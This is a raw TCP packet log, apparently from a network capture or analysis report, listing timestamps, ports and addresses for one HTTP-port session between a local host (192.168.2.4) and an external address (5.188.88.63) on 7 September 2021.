Sep 7, 2021 16:03:06.444937944 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444961071 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444976091 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.445000887 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.445024967 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.445039988 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.445049047 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.445070982 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.445086956 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.445092916 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.445115089 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.445128918 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.445137024 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.445158958 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.445172071 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.445180893 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.445205927 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.445214033 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.445230961 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.445254087 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.445269108 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.445276022 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.445297956 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.445317984 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.445318937 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.445342064 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.445348024 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.445363998 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.445385933 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.445395947 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.445408106 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.445430994 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.445446014 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.445455074 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.445478916 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.445488930 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.445499897 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.445521116 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.445540905 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.445540905 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.445563078 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.445571899 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.445584059 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.445602894 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.445616961 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.445626974 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.445652008 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.445662022 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.445674896 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.445697069 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.445713043 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.445717096 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.445739031 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.445755005 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.481980085 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.519253969 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.519309044 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.519339085 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.519375086 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.519399881 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.519417048 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.519423962 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.519438982 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.519449949 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.519475937 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.519480944 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.519500971 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.519515991 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.519546032 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.519556046 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.519572020 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.519598961 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.519609928 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.519633055 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.519668102 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.519679070 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.519696951 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.519723892 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.519745111 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.519751072 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.519781113 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.519799948 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.520273924 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.520335913 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.520355940 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.520394087 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.520422935 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.520435095 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.520458937 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.520493984 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.520498991 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.520515919 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.520550013 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.520571947 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.520591974 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.520601034 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.520610094 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.520649910 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.520683050 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.520692110 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.520704985 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.520736933 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.520756960 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.520772934 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.520812988 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.520824909 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.520847082 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.520867109 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.520884037 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.520889044 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.520911932 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.520926952 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.520946026 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.520977020 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.520986080 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.520998955 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.521019936 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.521050930 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.521059036 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.521083117 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.521090984 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.521117926 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.521146059 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.521157026 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.521172047 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.521198034 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.521218061 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.595695019 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.595788956 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.595798016 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.595830917 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.595875025 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.595879078 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.595907927 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.595935106 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.595977068 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.596019030 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.596051931 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.596061945 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.596084118 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.596118927 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.596153975 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.596205950 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.596252918 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.596256018 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.596288919 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.596338034 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.596369028 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.596399069 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.596407890 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.596429110 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.596460104 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.596503019 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.596518040 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.596546888 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.596573114 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.596592903 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.596631050 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.596663952 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.596688032 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.596721888 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.596751928 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.596806049 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.596841097 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.596848011 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.596858025 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.596885920 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.596914053 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.596956968 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.596967936 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.596996069 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.597019911 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.597045898 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.597074986 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.597105026 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.597117901 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.597146988 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.597165108 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.597172976 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.597212076 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.597213984 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.597243071 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.597269058 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.597301006 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.597309113 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.597338915 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.597364902 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.597378969 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.597392082 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.597404957 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.597434044 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.597465992 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.597476006 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.597496986 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.597528934 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.597533941 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.597559929 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.597589970 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.597594976 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.597621918 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.597659111 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.597668886 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.597690105 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.597722054 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.597723961 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.597754955 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.597784996 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.597795010 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.597815037 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.597841978 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.597858906 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.597872972 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.597899914 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.597909927 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.597929001 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.597955942 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.597975016 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.597987890 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.598015070 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.598026991 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.598043919 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.598072052 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.598086119 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.598099947 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.598128080 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.598150015 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.598160028 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.598191977 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.598202944 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.598222971 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.598253965 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.598263979 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.598285913 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.598316908 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.598328114 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.598351002 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.598381996 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.598396063 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.598412991 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.598444939 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.598449945 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.598474026 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.598505020 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.598514080 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.598536015 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.598565102 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.598575115 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.598597050 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.598628044 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.598659992 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.598670006 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.598691940 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.598722935 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.598753929 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.598774910 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.598783016 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.598783970 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.598815918 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.598841906 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.598862886 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.598864079 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.598898888 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.598906040 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.598937988 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.598954916 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.598969936 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.599004984 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.599011898 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.599039078 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.599071980 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.599086046 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.599102974 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.599167109 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.599186897 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.599198103 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.599232912 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.599261045 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.599281073 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.599291086 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.599303961 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.599323034 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.599351883 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.599380970 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.599383116 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.599411011 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.599421024 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.599437952 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.599468946 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.599483967 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.599498034 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.599528074 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.599549055 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.599550009 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.599570036 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.599594116 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.599627972 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.599642992 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.599659920 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.599694967 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.599705935 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.599713087 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.633339882 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.637171030 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.674479961 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.674520016 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.674544096 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.674578905 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.674608946 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.674624920 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.674635887 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.674663067 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.674679995 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.674690008 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.674727917 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.674745083 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.674774885 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.674804926 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.674834013 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.674870968 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.674873114 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.674920082 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.674933910 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.674966097 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.674978971 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.674995899 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.675026894 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.675048113 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.675072908 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.675101995 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.675134897 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.675164938 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.675203085 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.675211906 CEST	49772	80	192.168.2.4	5.188.88.63
